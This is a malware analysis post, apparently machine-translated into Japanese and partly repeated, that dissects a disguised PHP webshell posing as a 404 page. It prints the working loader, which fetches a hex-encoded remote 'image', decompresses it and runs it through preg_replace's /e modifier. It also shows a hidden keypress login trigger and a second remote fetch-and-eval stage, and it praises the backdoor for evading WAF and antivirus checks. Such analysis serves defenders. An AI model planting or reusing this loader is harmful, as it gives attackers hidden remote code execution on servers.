下品なPHPバックドアの分析
Webshellコードは次のとおりです.
次のコードを見てみましょう
ここで実行すると実は1枚の画像で、復号された画像のアドレスは以下の通りです.
そしてfile_を呼び出すget_contents関数は画像が文字列であることを読み出し、substrは3649バイト後の内容を取り、gzuncompress解凍を呼び出して本物のコードを得る.最終呼び出しpreg_replaceの修飾子eは悪意のあるコードを実行する.悪意のあるサンプルコードを復元するには、次の文を実行します.
図に示すように、
このコードを分析すると、これは偽装404木馬であることがわかりました(ここは本当に卑猥です...)、実はwebshell全体がclassに3つのfunctionを加えています.
まず、フロントエンドhtmlコードを見てみましょう.その中にjsプログラムがあります.
ここではdocument.onkeydownでユーザーがキーボードを叩くイベントを取得し、codeが80に等しいときにloginというdivを表示します.ここでkeyCodeの対照表を調べてみると、80に対応するpキーとPキーが表示されます.
そのため、webshellログインをトリガーするにはpキーを押す必要があります(Pキーを押さないページは空白のページで、ログインボックスが見えません).図に示すように、
サービス側phpコードに戻ると、プログラムは対称暗号化であり、ログインパスワードを暗号化keyとして使用していることがわかります.コードは図のように表示されます.
Init()の論理を見てみましょう
図に示すように、まずこのコードを見てください.
この復号化ロジックに基づいて、文字列trueを以下の暗号化処理することができます.
したがって、正しいパスワードを入力すると@gzuncompressは文字列trueを返し、プログラムはsetcookieを呼び出してクライアントに$_を返します.COOKIE[‘key’]では、後述のexit('{"status":"on"}')がフロントエンドコードと密接に関連しています.フロントエンドにはcallback関数があります.以下のようにします.
ここでexit('{"status":"on"}')を実行するとjson列{"status":"on"}が返され、フロントエンドjsコードclassback()がこの応答を取得するとwindow.location.reload()リフレッシュが実行され、直前に取得したクッキーを再び要求し、図に示すようにCOOKIEを判定するロジックが実行される
ここでは前のPOSTのロジックと同様に、以下では「true」と判断した後、ここでまた1枚の画像を要求し、pack出てきたアドレスはhttp://2012heike.googlecode.com/svn/trunk/code.jpgを選択し、_を呼び出します.REQUESTは画像の内容を取得し、解凍を解読してからevalを行い、分析したところcode.jpgの中で本当のwebshellが暗号化圧縮されたものであることが分かった.ここではコードを追跡して実際に実行されたwebshellの内容を印刷しました.
ログインが成功したら、図のようにします.
まとめ:
これは高度に隠されたwebshellで、そのコードにいくつかの危険関数と敏感な字が使われていないのではなく、本当のshellコンテンツを階層的に暗号化処理して画像に保存し、サーバーに捨ててurlを1つしか残しておらず、urlは暗号化処理されているので、外部から見ると何の特徴もありません.多くのwafと殺軟の検査を過ぎた.著者の利用構想は斬新で、しかもフロントエンドの後端は緊密に結合して、コードは簡素で、各種の奇技は淫巧で、よくあるwebshellの裏口とは違って、感心させられます!
php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>
次のコードを見てみましょう
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())
ここで実行すると実は1枚の画像で、復号された画像のアドレスは以下の通りです.
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
そしてfile_を呼び出すget_contents関数は画像が文字列であることを読み出し、substrは3649バイト後の内容を取り、gzuncompress解凍を呼び出して本物のコードを得る.最終呼び出しpreg_replaceの修飾子eは悪意のあるコードを実行する.悪意のあるサンプルコードを復元するには、次の文を実行します.
php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649));
?>
図に示すように、
このコードを分析すると、これは偽装404木馬であることがわかりました(ここは本当に卑猥です...)、実はwebshell全体がclassに3つのfunctionを加えています.
まず、フロントエンドhtmlコードを見てみましょう.その中にjsプログラムがあります.
document.onkeydown = function(e) {
vartheEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$("login").style.display = "block"
}
}
ここではdocument.onkeydownでユーザーがキーボードを叩くイベントを取得し、codeが80に等しいときにloginというdivを表示します.ここでkeyCodeの対照表を調べてみると、80に対応するpキーとPキーが表示されます.
そのため、webshellログインをトリガーするにはpキーを押す必要があります(Pキーを押さないページは空白のページで、ログインボックスが見えません).図に示すように、
サービス側phpコードに戻ると、プログラムは対称暗号化であり、ログインパスワードを暗号化keyとして使用していることがわかります.コードは図のように表示されます.
Init()の論理を見てみましょう
図に示すように、まずこのコードを見てください.
$true =
@gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59'), $_POST['key'], true)));
この復号化ロジックに基づいて、文字列trueを以下の暗号化処理することができます.
unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')),$_POST['key'] , true))
したがって、正しいパスワードを入力すると@gzuncompressは文字列trueを返し、プログラムはsetcookieを呼び出してクライアントに$_を返します.COOKIE[‘key’]では、後述のexit('{"status":"on"}')がフロントエンドコードと密接に関連しています.フロントエンドにはcallback関数があります.以下のようにします.
function callback() {
varjson = eval("(" + this.responseText + ")");
if (json.status=='on'){
window.location.reload();
return;
}
if (json.notice) {
$("notice").style.display = "block";
$("notice").innerHTML = json.notice;
sideOut();
}
}
ここでexit('{"status":"on"}')を実行するとjson列{"status":"on"}が返され、フロントエンドjsコードclassback()がこの応答を取得するとwindow.location.reload()リフレッシュが実行され、直前に取得したクッキーを再び要求し、図に示すようにCOOKIEを判定するロジックが実行される
ここでは前のPOSTのロジックと同様に、以下では「true」と判断した後、ここでまた1枚の画像を要求し、pack出てきたアドレスはhttp://2012heike.googlecode.com/svn/trunk/code.jpgを選択し、_を呼び出します.REQUESTは画像の内容を取得し、解凍を解読してからevalを行い、分析したところcode.jpgの中で本当のwebshellが暗号化圧縮されたものであることが分かった.ここではコードを追跡して実際に実行されたwebshellの内容を印刷しました.
ログインが成功したら、図のようにします.
まとめ:
これは高度に隠されたwebshellで、そのコードにいくつかの危険関数と敏感な字が使われていないのではなく、本当のshellコンテンツを階層的に暗号化処理して画像に保存し、サーバーに捨ててurlを1つしか残しておらず、urlは暗号化処理されているので、外部から見ると何の特徴もありません.多くのwafと殺軟の検査を過ぎた.著者の利用構想は斬新で、しかもフロントエンドの後端は緊密に結合して、コードは簡素で、各種の奇技は淫巧で、よくあるwebshellの裏口とは違って、感心させられます!